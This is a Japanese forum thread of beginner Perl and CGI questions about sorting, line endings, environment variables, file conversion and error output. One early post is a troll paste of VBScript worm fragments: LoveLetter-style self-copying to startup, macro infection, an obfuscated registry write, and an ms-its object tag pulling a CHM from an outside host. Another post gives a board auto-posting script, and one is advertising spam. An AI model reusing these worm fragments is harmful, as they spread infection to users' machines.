くだすれPerl(超初心者用)
レス数が1000を超えています。これ以上書き込みはできません。
0001nobodyさん
2006/09/10(日) 13:33:48ID:???もしくは質問者自身何が何だが分からない質問を勇気を持って書き込むスレッドです。
Perl使いが優しくコメントを返しますが、
お礼はPerlの布教と初心者の救済をお願いします。
0002nobodyさん
2006/09/10(日) 15:19:50ID:???If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "/" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
クソスレ立てんな
0005番組の途中ですが名無しです
2006/09/14(木) 08:48:47ID:???何を?
0006nobodyさん
2006/09/14(木) 19:58:38ID:xO9EEAPT自分のパソコン上でwebサーバーソフトを動かして、通信実験にも成功して
います。あとは、実際にレンタルサーバーを借りて、ネット上にアップするだ
けです。
ただ、CGIを介してデータをやり取りするので、データ更新が行われるのを
確認するため、定期的にwebサーバーに接続しなければなりません。これっ
て、やっぱり、結構サーバーに負荷をかけることでしょうか?
ロビーCGIは200行にも満たないプログラムで、参加者リストの管理と、
クライアント同士のゲームデータ(オセロですから、お互いに置いた石の位置
情報)のやり取りだけで、判定やルールなどゲーム本体のプログラムは全部ク
ライアントで処理します。CGIに接続するタイミングはロビーでは10秒お
き、ゲーム中は1〜2秒おきを予定してます。
cgiが置ける格安か無料サーバーに置いて、通信対戦ゲームを実現したいで
すが、このシステムでは、サーバーの負荷で設置は難しいでしょうか?
本当に、超初心者のくだすれですみませんが、どうか教えてください。
0007nobodyさん
2006/09/15(金) 02:27:16ID:???1秒おきに取りに行くとして一人ぶんのリクエストが86400リクエスト/日
全体で*平均対戦者数。
通常のhtmlで、たとえば1ページに画像やスクリプトが20個くらい張り付い
てると1ページで20リクエスト。4320ページ/日でリクエスト数は同じ。
そういうことだ。
0008nobodyさん
2006/09/15(金) 23:00:37ID:CWad1meVたた、タスクマネージャーを見ても、どこをどう見ればいいのかよく分かりま
せん。本当に超初心者で、よくわかんないのです。
リクエスト数の多さから、やっぱり設置は難しいのでしょうか。サーバー側
ではほとんど計算せず、小さなデータをやり取りしているだけなんですが・・・。
せっかく作ったので、何とかして設置したいです。
一般的なCGIゲームのリロードの間隔ってどれぐらいでしょうか?
0009nobodyさん
2006/09/15(金) 23:46:30ID:colQZo5x0010nobodyさん
2006/09/18(月) 22:10:17ID:fB7/mMBTお願いします
0011nobodyさん
2006/09/23(土) 23:15:26ID:ItJcA2cD【すぐわかるPerlのP.182】
sort{$a cmp $b} 対象の配列
sort{$b cmp $a} 対象の配列
sort{$a <=> $b} 対象の配列
sort{$b <=> $a} 対象の配列
{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます
と、言う部分なのですが、
値が等しければとか、大きければってどういう事なんですか?
$aや$bにはどんな(何の)値が入るのですか?
そもそも、値が大きい順に並ぶとか小さい順に並ぶとか
それらの値というのが、ソートされる側のファイルや配列の中に入っているレコードであるとして、
$aと$bで、昇順か降順かを判断するのなら、$aの値が$bの値よりも大きい場合、なんてありえないはずですよね?
0012nobodyさん
2006/09/24(日) 00:29:10ID:???@foo = sort { $a cmp $b } @hoge;
foreach (@foo) { print $_, "\n"; }
0014nobodyさん
2006/09/24(日) 17:12:23ID:tF4Ji0QVパスワード変更に使用するpasswdコマンドは対話型ですが、
スクリプトで実行するにはどのように書けば良いでしょうか?
以下を組みあわせて作りたいのですが。
$crypt_password
system("passwd $username");
よろしくお願いします。
001514
2006/09/24(日) 18:24:23ID:???ttp://search.luky.org/fol.2001/msg00436.html
$crypt_pass = crypt($password,"AB");
$chgpw_cmd = <<"EOF";
sudo /usr/bin/passwd $username
$crypt_pass
$crypt_pass
EOF
system("$chgpw_cmd");
結果、以下のエラーが表示されます
Error message:
malformed header from script. Bad header=Changing password for user $username
Error 500
どのように書き換えれば動くのでしょうか。
よろしくお願いします。
0016nobodyさん
2006/09/25(月) 00:15:33ID:???001711
2006/09/25(月) 17:41:25ID:V/IIhk9y?
>>13
わかりますよ。
ファイル内のレコードを、文字列や数値の大きい順、または小さい順に並べ替える事ですよね
0018nobodyさん
2006/09/26(火) 06:02:57ID:???そもそも「ファイル内のレコード」とか造語使って話されてもな。
$a <=> $bが数値の昇順、$b <=> $aが数値の逆順
sort{$a cmp $b} 対象の配列 は
sort 対象の配列 と同じで文字列の昇順
{$b cmp $a} が文字列の逆順
これを理解してるのか?
って聞かれてる
ソートの語意を知ってるか聞いてるわけじゃない。
001911
2006/09/26(火) 18:56:12ID:QXj/N9Vsそれは理解してますよ。
「レコード」というのは、ファイル内の改行までの1段落を「レコード」と呼ぶそうです。
本にそう書いてあったので。
{$b cmp $a}にしても、値の大きさで言うなら$b>$aですよね
だから、昇順にソートしたければ$aを左辺に
降順にしたければ$bを左辺にするわけで
なのに、入門書の説明では
『{}の中には、ソートした結果が前に並ぶデータ$aと後ろに並ぶデータ$bが等しければ0、$aが大きければ-1、$bが大きければ1という3つの値を返す演算を入れます』
と
$a<$bであるのだから、『$aが大きければ』なんて状況自体がそもそもありえないのではないでしょうか?
そこら辺で、自分はこの入門書の説明が理解できずに行き詰ってますm(_ _)m
0020nobodyさん
2006/09/26(火) 22:45:11ID:???my @sorted = sort {
print $a . "\t" . $b . "\n" ;
$a <=> $b
} qw( 5 10 3 5 4 2 1 ) ;
少くとも $a < $b なんて確定ではないことは明白。
ttp://www.ics.kagoshima-u.ac.jp/~fuchida/edu/algorithm/sort-algorithm/merge-sort.html
ここ読め。perl 5.8 以降の sort のアルゴリズムだ。
0021nobodyさん
2006/09/26(火) 23:48:31ID:8QEjX/wi直接ログファイルを見たのですがencryptで暗号化されています。
これって復元はできないので、教えることは出来ないのでしょうか?
0022nobodyさん
2006/09/27(水) 00:40:05ID:???ログファイルを直接書き換える事で任意のパスワードに変更する事はできる。
試しに適当なパスワードを付けたダミー投稿をやってみて暗号化後の文字列を確認し、
ログファイルの該当部分を書き換えてうp→新しいパスワードを通知でどうかな。
0024nobodyさん
2006/10/12(木) 00:21:32ID:Gn08F8cOたとえは、
$data[0]="\n";
$data[1]="\n";
$data[2]="ななしさん\n";
$data[3]="\n";
$data[4]="としあき\n";
として
print @data;
としたら、クライアント側では
ななしさん
としあき
と、受け取るようにしたいです。
で、自分のwindowsのパソコンでサーバーソフトのapacheを立ち上げて、ローカルで試した時はうまく行きますが、レンタルサーバ上では、"\n"は改行せず、初めから無いことになって、
ななしさんとしあき
となってしまいます。
perlを始めて3ヶ月で、いろいろ検索したのですか、よく分かりません。
どうか、改行する方法を教えてください。
0025nobodyさん
2006/10/12(木) 00:42:24ID:???002624
2006/10/12(木) 07:47:06ID:ECd/ht+A早速の返答ありがとうございます。
もう少し詳しく書かなければいけなかったのですが、cgi送られたデータはプラウザで受け取るのではなくて、HSPで作ったクライアントソフトで受け取ります。
このように、改行を含め、横一列づつに区切られた文字列型のデータはHSPのクライアント側で「ノートパッド命令」というのを使ってデータを加工したいのです。
プラウザじゃないですから、<BR>では改行できませんし、またデータが繋がったままだと、ノートパッド命令が使えず、データは加工できないのです。
自分のパソコンでサーバーソフトを立ち上げ、ローカルで試した時はうまくいくのに、レンタルサーバにあげたとたんうまく行きません。
この違いは、osのせいなのか、ネット上にあげたせいなのか、よく分かりません。
わかる人がいましたら、どうか教えてください。
0027nobodyさん
2006/10/12(木) 13:40:15ID:???改行コードはOS依存
HSPはWindowsアプリだから、改行コードがWindows固定なんじゃないかね?
Windowsは\x0d\x0aでUnix系は\x0aなので、\x0dを付け足してみたら?
0028nobodyさん
2006/10/12(木) 13:41:02ID:???レンタルサーバーがWindowsじゃなければ、の話。
0029nobodyさん
2006/10/12(木) 22:06:48ID:bEOo1KBwCPANってゆーの入れてみたんですけど
その後どうするのでしょうか?
003024
2006/10/12(木) 22:59:42ID:D35FP/7g返答ありがとうございます。
まだ試してはいませんが、原因は多分これです。
レンタルサーバのOSはUnixですし、自分のwindowsパソコンで、ローカルで試した時はちゃんと動作しましたし・・・。
早速perlを書き直します。
本当にありがとうございます。
0031nobodyさん
2006/10/12(木) 23:36:42ID:???モジュールがどういったものか理解してるのかな?
とりあえず、そのキーワードでググって一通り目を通してきてください。
003229
2006/10/14(土) 16:27:10ID:5AFK7g0oううう だいたい理解しているつもりなのですが、、、
CGI_Liteを使っている所では下記のようにでるのですが
これってうまくCGI_liteがインストールされていないということでしょうか?
[hoge@localhost member]# perl detail.cgi
Can't locate hogehogeLib.pl in @INC (@INC contains: /usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi (略)/usr/lib/perl5/5.8.6 .) at detail.cgi line 2.
ご助力いただけますとありがたいです。
0033nobodyさん
2006/10/14(土) 16:33:46ID:???003424
2006/10/15(日) 00:08:41ID:YK613lYVださい。
自宅のwindowsパソコンでサーバソフトを動かし、ローカルで接続している時
は、環境変数HTTP_User_Agentを受け取ってくれますが、unixのレンタル
サーバー上では、HTTP_User_Agentを受け取ってくれません。
改行コードのようにOSで違いがあるのかもしれませんが、HSPクライアント
のHTTPヘッダーの記述がただしいから、サーバーに接続できるし、CGIにデー
タをちゃんと送れていると思います。
HTTP_User_Agent以外の環境変数、REMOTE_ADDRやREMOTE_HOSTはちゃんと受け
取っています。もちろん、POSTで送信したデータは、CONTENT_LENGTHに入って
います。
なぜかHTTP_User_Agentだけ、ネット上においてあるunixのレンタルサーバーに
情報が入ってきません。
もし原因が分かる方がおりましたら、どうか教えてください。
0035nobodyさん
2006/10/15(日) 00:17:49ID:???003624
2006/10/15(日) 10:44:12ID:sPLkCqaFwindowsでは、使っているクライアントやプラウザを知る環境変数は
「HTTP_User_Agent」でも動きますが、unixでは「HTTP_USER_AGENT」と
ちゃんと書かないとダメみたいです。
大文字と小文字だけで、大きな違いです。
>>35さん書き込みありがとうございます。
本当に大変お騒がせしました。
0037nobodyさん
2006/10/16(月) 16:10:49ID:1+lDbjJHdat取得するまではなんとかわかるのですが……、参考になるサイトなどはありませんか?
0039nobodyさん
2006/10/26(木) 08:21:44ID:???0041nobodyさん
2006/10/26(木) 10:32:06ID:???ローカルで結果を何回も出力させていっても自分がパンクしそうなので自動化しようと思った次第です
0043nobodyさん
2006/10/26(木) 16:14:52ID:???基本的に2chは容易に荒らしツールに転用でき得る外部からの書き込みには厳しいし
それがperlスクリプトと来てはなおさらだろう。
rep2みたいに何とかやってのけた例はあるけど(まああれはPHPだが)あれも
FOXに荒らし専用ツールと勘違いされて一時期えらい事になっていたし、
やるならdatから必要なIDをまとめて所得して処理を行い、
後はコピペするのみの形に整形したテキストを出力するスクリプトに留めた方が良いと思うよ。
0044nobodyさん
2006/10/26(木) 16:45:14ID:???0045nobodyさん
2006/10/26(木) 22:03:37ID:???ここに質問するまではそれをベースに作っていたんですが、楽にできないものかと……。
勘違いされると確かにまずいですよね、保守ツールだったらよく見かけるんですけど……。
>Perlの2ch書き込みソフト
ありがとうございます、早速探してみます。
0046nobodyさん
2006/10/27(金) 02:03:16ID:???use HTTP::Cookies;
use HTTP::Request::Common;
use HTTP::Headers;
print 'URI > '; chomp ( $entry = <> );
$entry =~ 'http://([^/]*)/([^/]*)/([^/]*)/([^/]*)/([0-9]*)';
($uriServer, $uriBbs, $uriKey, $uri) = ($1, $4, $5, "http://$1/test/bbs.cgi");
print 'MESSAGE > '; chomp ( $msg = <> );
$ua = new LWP::UserAgent;
$request = POST ($uri, [
subject => '',
FROM => '',
hana => 'mogera',
submit => '書き込む',
mail => 'sage',
MESSAGE => $msg,
bbs => $uriBbs,
key => $uriKey,
time => time]);
$request -> referer($uri);
$request -> user_agent('Monazilla/1.00');
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
$response = $ua -> request($request);
0047nobodyさん
2006/10/29(日) 16:12:26ID:???そのリストにあるIPにも関わらず書き込みをされるのですが,どんな原因が考えられますか?
例えば,自分のIPが200.10.10.10の場合,正規表現で指定して(200.*.*.*)もきちんと自分は拒否されます。
それなのに,いくつかすり抜けてくる迷惑書き込みは,一体どのようにしてるのでしょうか?
当然,直接そのIPを指定しても,効果がありません。(上の場合なら,200.10.10.10)
考えられるのは,�@Perlが取得するIPアドレスの関数が偽装される。←可能なんでしょうか??
�A違うCGIで直接ログファイルに書き込まれている。
というくらいしか思いつきません。
�@はともかく,�Aに関しては,プロバイダがHi-HOなので,こちらで細かいパーミッションの指定ができません。(たぶん)
他にも原因や対策がありますか?
0048nobodyさん
2006/10/29(日) 20:10:26ID:???というか2ならログファイルの名前変えてダミー置いとけば解決じゃないのか。
0049nobodyさん
2006/10/30(月) 01:09:22ID:???他のサーバからの呼び出しを蹴る様にしたら?
正規表現でやると部分一致ですり抜けたり、リファラー自体が
偽装できるんであくまで簡易的だけどね。
my $myhome = "http://www.vipper/test.cgi";
if( !$ENV{'HTTP_REFERE'} =~ /^$myhome/ ) {
#エラー処理
} else {
}
0050nobodyさん
2006/10/30(月) 03:31:49ID:???0052nobodyさん
2006/10/30(月) 21:36:17ID:???referrer
なんだけどな。
005347
2006/10/31(火) 18:03:41ID:???>48
ログファイル名変更が効果あるのは他のCGIで経験済みです。
最終手段だと思ってます。
それよりも,原因や他の技術的な対策などが知りたかったので。
言葉足らずですみません。
>49
試してみます。
0054nobodyさん
2006/10/31(火) 20:28:02ID:???0055nobodyさん
2006/10/31(火) 21:15:35ID:???0056nobodyさん
2006/10/31(火) 22:44:48ID:???0057nobodyさん
2006/11/08(水) 04:25:42ID:???s/\\/?/g;
普通にこう書くと5Cを含む2バイト文字が化けてしまいます
0058nobodyさん
2006/11/08(水) 05:28:40ID:???\Q\E
0059nobodyさん
2006/11/24(金) 00:36:56ID:67lrIFIn0060nobodyさん
2006/11/24(金) 00:46:06ID:???0062nobodyさん
2006/12/02(土) 17:26:24ID:???の間違いって
$request -> user_agent('Monazilla/1.00');
$ua -> user_agent('Monazilla/1.00');
以外にある?
このあたりだと思うんだけど
$cookie_jar = HTTP::Cookies -> new( file => 'ume.cook', autosave => 1 );
$cookie_jar -> add_cookie_header($request);
$ua -> cookie_jar($cookie_jar);
0063nobodyさん
2007/01/07(日) 08:03:18ID:???テキストに命令文を書き込んだのですが、
動作確認の仕方が分かりません。
書いたスクリプトを起動するにはどうすれば良いのでしょうか?
0064nobodyさん
2007/01/07(日) 09:40:28ID:???0065nobodyさん
2007/01/08(月) 10:40:10ID:???これからPerlのインストール方法を探しに行って来ます。
0066nobodyさん
2007/01/08(月) 13:13:18ID:???このようにホストを取得した場合
これを
aaa.bbb.ccc →*.bbb.ccc
のように
一部を隠す場合はどのようにしたらいいでしょうか?
ホストの取得方法を変えなければいけませんか?
ご教授くださいませ
0069nobodyさん
2007/01/11(木) 20:27:34ID:???マルチっぽくなってすみません。
拡張子が.plのスプリクトの動かし方を教えてください!!!
ActivePerlをインストールしたのですが、そこからどすればいいのか分かりません・・
.plファイルをダブルクリックしてもコマンドラインが一瞬でて消えるだけです・・
サーバーをレンタルしないといけないのでしょうか?
どなたか教えてください!!!
0070nobodyさん
2007/01/11(木) 22:50:22ID:???0071544
2007/01/12(金) 00:31:09ID:???コマンドプロテクトとかじゃなくて、exeファイルみたいに直感的に扱いたいです。
消防に分かるようにお願いします!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
0072nobodyさん
2007/01/12(金) 03:40:35ID:???0074nobodyさん
2007/01/15(月) 22:32:53ID:h8620fdSMYSQLを使って認証とプレイヤーの成績データのdbプログラムを組んでしま
す。
マッチングも認証プログラムもdbも完成するめどがたっているんですが、
ネット上に公開するとき、サーバの負荷とか良く分かりません。
たとえば、スクリプトが大きくなるけど、一度のサーバーアクセスで全て処
理できるよう、認証・マッチング・db処理のスクリプトを一つにしたほう
がいいのでしょうか。
ほんの少しサーバのアクセス回数が増えるけど、マッチングと、認証・dbを
分けてサイズを小さくし、必要な時に必要なCGIを呼び出した方がいいので
しょうか?
本当にくだらない質問ですみません。
0075nobodyさん
2007/01/17(水) 09:50:41ID:???UNIXサーバーをレンタルしてcgiで動かす場合、通常のPerl5.8は必要なのでしょうか?
ActivePerlと共存しても大丈夫なんですが?
初歩的な質問ですみませんが、教えてくださです><
0076nobodyさん
2007/01/17(水) 13:19:17ID:???負荷を気にするならPerl CGIを選択する時点で間違い
>>75
バージョンはプログラムによる
PerlとActivePerlは共存させる必要はない
0077nobodyさん
2007/02/05(月) 22:01:41ID:Utbdeaaf本当に、何が何だが分からない質問で、すみません・・・
0078nobodyさん
2007/02/05(月) 22:08:13ID:???007977
2007/02/05(月) 22:56:56ID:Utbdeaaf返答ありがとうございます。
0080nobodyさん
2007/02/07(水) 23:15:43ID:5L64/RF4あ
い
う
え
とあって、「う」だけを表示させたいのですが、どういったプログラムになるのでしょうか?
0081nobodyさん
2007/02/07(水) 23:59:35ID:???0083nobodyさん
2007/02/08(木) 12:46:57ID:ySrCcQfcdatファイルにある3列目の文字を表示させたい。
0084nobodyさん
2007/02/08(木) 14:04:25ID:???while (<IN>){
print if($.==3);
}
close(IN);
0085nobodyさん
2007/02/08(木) 14:25:54ID:???テストしてない
0086nobodyさん
2007/02/08(木) 15:27:19ID:???0087あっこ
2007/02/08(木) 19:36:08ID:LIdpjyEohttp://docomo-camera-ne.jp/zeidoroom/20070208192740.jpg
B
http://docomo-camera-ne.jp/zeidoroom/20070208193455.jpg
ソース教えていただけませんか??
0089nobodyさん
2007/02/08(木) 20:48:25ID:???バージョンは2.9です。
print $cgi->end_form;
って入力してもプリントされないんですが・・・
009091
2007/02/08(木) 20:58:18ID:???print $cgi->end_form;
ってやると、何故か、
<div></div></form>
ってプリントされるんです。
この<div>はなんなんでしょう?入れた覚え全くないんですが・・・
0092nobodyさん
2007/02/10(土) 14:46:42ID:???このたび、アフェリエイト用のトラッキングタグを入れることになったのですが、
金額に関する変数の設定がわかりません。
cart.cgi内部の
$fee、$fee2、$SHOKEI2、$SHOKEI2、$orders
setup.cgi内部の
$j
など入れてみましたが、数値が出ません。
タグは注文の最終画面に入れ込みます。
注文IDに関してはすぐに出たのですが。。。。
エロイ方ご教授くださいませ。
0095nobodyさん
2007/02/18(日) 20:10:51ID:???このスクリプトで、ログファイルへのデータ追加時に
現在の年日時を取得して
2007/2/18 20:09
のような形式で行の末端に自動的に書き込むようにしたいのですが、
どの部分にどのような処理を加えれば良いでしょうか?
0096nobodyさん
2007/02/24(土) 08:30:18ID:vuvrJgei他の掲示板でも攻撃を受けているのをよく見かけます。
特徴としては、アルファベットのみで書き込むので、アルファベットのみの投稿の場合は
エラーにしたいのですが、そんなことは可能でしょうか?
0097nobodyさん
2007/02/24(土) 10:17:57ID:???EUC-JPだけど
# $str に ASCII 以外が含まれているか判定する
if ($str =~ /[\x8E\xA1-\xFE]/) {
print "含まれている\n";
}
引用元
http://www.din.or.jp/~ohzaki/perl.htm#JP_Exist
0098nobodyさん
2007/02/26(月) 13:07:30ID:bWsttIN4先頭行でなく最終行を取得しないとマズいことに気づいたんですが
どうすればいいでしょうか。
---------
if ($in{'ori_ie_id'} eq "admin"){
$bbs1_log_file = "./member/admin/bbs".$in{'bbs_num'}."_log.cgi";
}else{
$bbs1_log_file = "./member/$in{'ori_ie_id'}/bbs1_log.cgi";
}
open(IN,"$bbs1_log_file") || &error("Open Error : $bbs1_log_file");
# 先頭行を取得
$total_counter = <IN>;
($total_counter,$all_total_counter)= split(/<>/, $total_counter);
$top = <IN>;
local($b_num,$b_name,$b_date,$b_res,$b_count,$b_com)= split(/<>/, $top);
--------------------------
0099nobodyさん
2007/02/26(月) 16:00:02ID:???複数行の入力を取った場合配列になる。
@lines = <INPUT>;
この場合に最後の要素はこう所得できる。
$lastline = $lines[-1];
もしくはこう書いても良いだろう。
$lastline = pop(@lines);
これらの違いについてはマニュアルを嫁。
分かったら次からはエスパーじゃなくても分かる言葉で書くように。
0100nobodyさん
2007/03/07(水) 21:52:50ID:???0101nobodyさん
2007/03/22(木) 13:03:52ID:RsfMZKm1$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
として走らせたところ、スクリプトをウェブサーバを通して呼んだときと
同じサーバのコマンドラインから呼んだときで
$valueの中が変わってきてしまいます。
linuxコマンドライン:ツづ可づ卍づアツつイ
linux上ウェブサーバ:にほんご
どうしてこうなっちゃうんでしょうか・・
コマンドラインから呼んだときでも"にほんご"とする方法はありますか?
0102nobodyさん
2007/03/22(木) 13:08:13ID:???0103101
2007/03/22(木) 14:06:12ID:???linuxのサーバへはwindows上のtelnetでつないでまして、
さきほど、簡単にprintで"にほんご"と表示させるだけ、
もしくはファイルとして保存するだけのスクリプトを
スクリプト自体の文字コードをいろいろ変えて走らせてみたところ、
どれも漢字混じりでぐちゃぐちゃっとなり、まともに出ませんでした。
これって対応してないって事ですかね。。
0104nobodyさん
2007/03/23(金) 12:35:39ID:???0105nobodyさん
2007/03/26(月) 05:21:22ID:???0106nobodyさん
2007/04/18(水) 00:42:41ID:2fOrfnuVprint "変換するフォルダのパスを入力してください\n";
$folder_path = <STDIN>;
chomp($folder_path); #改行コード削除
opendir(DIR, "$folder_path");
@file = readdir(DIR);
closedir(DIR);
#ファイル名を調べる
foreach (@file)
{
#htmlファイルなら処理
if( $_ =~ /.html/ ){
print "$1\n"; ##ここは呼ばれるが$1が空##
#ファイルを開く
open(F, "+< $_.$1" );
#ファイル1行読み込む
while($line = <F>){
#iso-8859-1をShift_JISに変換
if( $line =~ s/charset=iso-8859-1/charset=Shift_JIS/ ){
print(F "$line");
}
}
close(F);
}
}
htmlファイルの文字コードをかえるコードを書きたいのですが、うまくいきません。
どこが、間違ってるのでしょうか?
0107nobodyさん
2007/04/18(水) 01:10:01ID:???0108106
2007/04/18(水) 01:17:05ID:2fOrfnuVprint "変換するフォルダのパスを入力してください\n";
$folder_path = <STDIN>;
chomp($folder_path); #改行コード削除
opendir(DIR, "$folder_path");
@file = readdir(DIR);
closedir(DIR);
#ファイル名を調べる
foreach (@file)
{
#htmlファイルなら処理
if( $_ =~ /([A-Za-z0-9_]*\.html)/ ){
print (STDOUT "$1");
#ファイルを開く
if( !open(F, "+< $floder_path.$1" ) ){
printf(STDOUT "HTML読み込み失敗\n");
}
#ファイル1行読み込む
while($line = <F>){
print(STDOUT "変換\n");
#iso-8859-1をShift_JISに変換
if( $line =~ s/charset=iso-8859-1/charset=Shift_JIS/ ){
print(F "$line");
}
}
close(F);
}
}
としたところ、
ファイル名 HTML読み込み失敗
と表示されます。
0109nobodyさん
2007/04/18(水) 01:22:04ID:???0110106
2007/04/18(水) 01:23:05ID:2fOrfnuV#カレントディレクトリ変更
chdir("$folder_path");
open(F, "+< $floder_path.$1" )を
open(F, "+< $1" )とすると置換の部分は実行できました。
しかし、置換前の文字が残ってしまいます
0111nobodyさん
2007/04/18(水) 01:59:13ID:???>しかし、置換前の文字が残ってしまいます
バカじゃないんだから実行前の入力文字列と実行後の出力文字列くらい出せや
0112nobodyさん
2007/04/18(水) 02:06:45ID:???>>108
ファイル変換系の処理は「読み込むファイルに書き戻す」よりも
「読み込みつつ別のファイルに書き出す」ようにした方がいい。
書き出しが終わった後で削除&リネームすればいいだけだし、
途中で処理が止まっても安全。
あと微妙に板違いだから次からはプログラム板行けなw
0113106
2007/04/18(水) 02:57:11ID:2fOrfnuVありがとうございました。
つぎからはプログラム板逝きます
0114nobodyさん
2007/04/18(水) 03:45:43ID:???優良パチンコ店 エ○トワン
に行こう! 遠隔(※1)をやっていないパチンコ店は「エイ○ワン」だけ!
違法ロム(※2)を使っていないパチンコ店も「エイト○ン」だけ!
○イトワンでは、遠隔等が可能な設備は入れていません。 ロムも、警察がチェックしやすくしています。
詳しい方はご存知の通り、どんなにパチンコの遊戯人口が変動しても、その市場規模は変わりません(※3)。
要するに、客が減っても、残った客から絞り盗る量を増やして調整しているのです。
しかし、何故それが可能なのか?…ご理解頂けると思いますが、9割以上の店が確実に遠隔等を行ってます。
1万店以上のパチンコ店の中で、遠隔も違法ロムも確実にやってないのは「○イトワン」ただ1店です!
※1…遠隔とは
「お、あの客は新顔だな。勝たせて味を占めさせるか。遠隔操作で設定変更しよ」
「客が減ってきたな。ま、設定を絞めて(違法)、1人あたりから搾る量を増やせばいいか」
「あのオヤジ負け続けてるからそろそろ辞めるかもな。今日は勝たせてやるか」
※2…違法ロムとは
「うちのアタリ確率は、もちろん他と同じ『○○○分の1』ですよ!(ロムいじってるからウソだけど)」
※3 市場規模 遊戯人口
平成06年 30兆4,780億円 2,930万人
平成08年 30兆0,630億円 2,760万人
平成10年 28兆0,570億円 1,980万人
平成12年 28兆6,970億円 2,020万人
平成14年 29兆2,250億円 2,170万人
平成16年 29兆4,860億円 1,790万人
0115nobodyさん
2007/04/24(火) 12:15:29ID:???いろいろな関数をまとめた物を作るときに
それらを単純にまとめただけの外部plファイルを
requireして使いまわすよりも、パッケージ化や
モジュール化して使ったほうが良いと
聞いたのですが、何故でしょうか
0116nobodyさん
2007/04/24(火) 14:22:11ID:???モジュールをつかいまわす場合に有効。
0117nobodyさん
2007/04/24(火) 14:37:40ID:RJoF4cmJPerlのコードにエラーがあると、
use Strict; を記述しても、500 Internal Server Errorになってしまいます。
(どういうエラーが出たか教えてくれない)
エラーを表示させるにはどうしたらいいんでしょうか。
各バージョンは、
Perl v5.8.8
Apache 2.0.59
です。
0118nobodyさん
2007/04/24(火) 17:10:54ID:???なるほど。変数名の衝突を気にしなくてもいいのは便利ですね
これからパッケージの勉強からしてみます
ありがとうございました
0119nobodyさん
2007/04/24(火) 17:23:24ID:???スクリプトの頭に
BEGIN {print "Content-Type: text/plain\n\n"; $| = 1; open(STDERR, '>&STDOUT')}
とでも書いとけ
0120nobodyさん
2007/04/25(水) 02:24:17ID:lSJlnLTRモジュールつかっとけ
use CGI::Carp qw(fatalsToBrowser);
ttp://perldoc.jp/docs/modules/CGI.pm-2.89/CGI/Carp.pod
0121nobodyさん
2007/04/25(水) 20:53:26ID:???xxx/
index.html
data/
post.dat
cgi-bin/
xxx/
post.cgi
と置いてあります。このとき
#!C:/Perl/bin/perl
open(OUT,">> ../../xxx/data/post.dat");
print OUT "$FORM{'posturl'}\n";
close(OUT);
と post.cgi に記述してみたのですが、うまく
post.dat のほうに $FORM{'posturl'} の内容が書き込めていないようでした。
パスの設定ミスだとは思うのですが…
環境は,windows xp sp2 上 でApache/2.0.45 を使用しております。
どうぞよろしくお願い致します m(__)m
0122nobodyさん
2007/04/25(水) 22:02:43ID:???0123nobodyさん
2007/04/25(水) 22:56:34ID:???open(OUT,">> ../../htdocs/xxx/data/post.dat");
とすれば良かったみたいです。
htdocs/
- xxx/index.html
- xxx/data/post.dat
cgi-bin/xxx/post.cgi
webプログラムってプログラム以外の部分がややこしい…
0124nobodyさん
2007/04/26(木) 16:20:32ID:Xsmaee58http://mixi.jp/view_bbs.pl?id=17607679&comm_id=1401396
Perlに関すること、cgiに関すること
なんでも質問できるコーナーです(たとえばApacheとかでもOKとします!)
(Web系であればOK)
ルール:
Google検索で調べてわかるようなことでも質問してもOKです
(初心者のうちは、どの情報を取捨選択したらイイのかわからないと思うので)
回答してくださるかたは、暖かく質問者を迎えてやってください
o(^^o) (o^^)o
0125nobodyさん
2007/05/01(火) 16:23:34ID:???「1. ファイルを選ぶ 2. 確認画面 3. 送信完了」と動作させようとして
躓きました。2. 確認画面を表示しない場合はうまくいくのですが、
確認画面を間に挟むと空のファイルがアップロードされてしまいます。
1 から直接 3 にいくプログラムは次のように組んであります。
1. CGI.pmを使ってfilefield('file');でファイル選択させる。
3. $fh = upload('file'); でファイルの情報を得て、
while(read...){print...} でファイルを書き込む。
2 をはさむときは、param('fh', $fh); print hidden('fh');
として情報を保存しました。
たぶん、上の方法では必要な情報を保存しきれていないのだと
思うのですが、どうすればよいかわかりません。よろしくお願いします。
0126nobodyさん
2007/05/03(木) 02:37:57ID:???0127初心スレ861(481)
2007/05/25(金) 22:03:25ID:1LPPhSSeif(a=1){
if(b=1){
print "○○○"
}
}
というようにIFの中でIFは可能ですか?
0128nobodyさん
2007/05/25(金) 22:17:31ID:???0131nobodyさん
2007/05/25(金) 23:47:26ID:???0132nobodyさん
